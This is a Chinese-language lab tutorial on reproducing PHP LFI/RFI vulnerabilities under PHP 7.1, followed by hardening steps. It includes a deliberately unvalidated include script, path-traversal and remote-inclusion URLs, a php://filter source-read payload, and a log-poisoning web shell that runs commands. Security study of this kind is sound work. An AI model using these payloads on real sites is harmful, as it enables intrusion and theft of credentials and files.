PHP文件包含漏洞成因与版本弱相关,关键取决于allow_url_include、allow_url_fopen配置及路径拼接是否可控;LFI/RFI复现需精准控制php.ini配置、构造不校验的include语句,并利用php://filter等伪协议绕过限制。

PHP 7.1 环境下复现文件包含漏洞,关键不是“换高危版本”,而是精准控制配置与代码逻辑——因为漏洞成因与 PHP 版本强相关性弱,与 allow_url_include、allow_url_fopen、路径拼接方式、过滤逻辑是否缺失直接相关。
一、基础环境搭建(Apache + PHP 7.1 + MySQL)
推荐使用编译安装或小皮面板(PHPStudy Pro)快速部署,避免 Docker 容器默认配置干扰测试:
- 下载 PHP 7.1.10 源码(官方归档:php-7.1.10.tar.gz),配合 Apache 2.4.28 编译(需提前装好 apr、apr-util、pcre);
- 或更高效:用 PHPStudy Pro 8.1,在「软件管理 → 环境」中选择 Apache 2.4.39 + PHP 7.1.33(该组合经实测兼容常见 LFI/RFI 测试用例,且不会因 PHP 7.2+ 的 strict mode 导致报错中断);
- 安装后确认
php.ini中以下两项为 On(RFI 必需):allow_url_fopen = Onallow_url_include = On
(注意:PHP 5.2 后allow_url_include默认 Off,必须手动开启才可触发 RFI); - 重启 Apache,访问
phpinfo()页面验证配置生效(搜索关键词allow_url_include确认值为 enabled)。
二、构造可复现的漏洞脚本
新建 lfi_test.php 放入网站根目录(如 D:\phpstudy_pro\www\lfi\):
<?php $file = $_GET['file'] ?? 'home'; include($file . '.php'); // 典型不校验路径拼接 ?>
再创建几个辅助文件:
立即学习“PHP免费学习笔记(深入)”;
-
home.php:正常页面内容; -
config.php:含数据库密码等敏感信息; -
phpinfo1.php:仅含<?php phpinfo(); ?>,用于验证是否成功解析执行。
访问 http://localhost/lfi/lfi_test.php?file=../../../../etc/passwd 可测试 LFI;
访问 http://localhost/lfi/lfi_test.php?file=http://your-vps.com/shell.txt(需远程服务器返回 PHP 代码)可测试 RFI。
三、绕过限制的常用手法(适配 PHP 7.1 行为)
PHP 7.1 对部分伪协议支持稳定,但对 expect:// 已默认禁用(需额外启用 php_expect 扩展),重点可用如下方式:
-
php://filter:读取源码最可靠方式,例如
?file=php://filter/read=convert.base64-encode/resource=config.php—— 返回 base64 编码内容,解码即可得明文; -
日志文件包含:向 Apache
access.log注入 PHP 代码(如 User-Agent 写<?php system($_GET['cmd']);?>),再包含/usr/local/apache2/logs/access_log(路径按实际调整); -
Session 文件包含:若 session.save_path 可控(如
/tmp),通过 Cookie 注入 PHP 代码到 session 文件,再用?file=/tmp/sess_XXXXX包含; -
zip:// 协议:构造 ZIP 包内含恶意 PHP 文件,上传后用
?file=zip://upload/test.zip%23shell.php包含(需zip扩展启用)。
四、防御验证环节(反向加固对照)
复现成功后,立即测试修复效果,确保理解漏洞本质:
- 将
include($file . '.php')改为白名单映射:$pages = ['home', 'about', 'contact']; if (in_array($_GET['file'], $pages)) { include($_GET['file'] . '.php'); }; - 关闭
allow_url_include后重试 RFI 链路,应返回警告且不执行远程代码; - 启用
open_basedir限制可访问路径(如open_basedir = /www/wwwroot/:/tmp/),再尝试穿越路径会报错拒绝。



















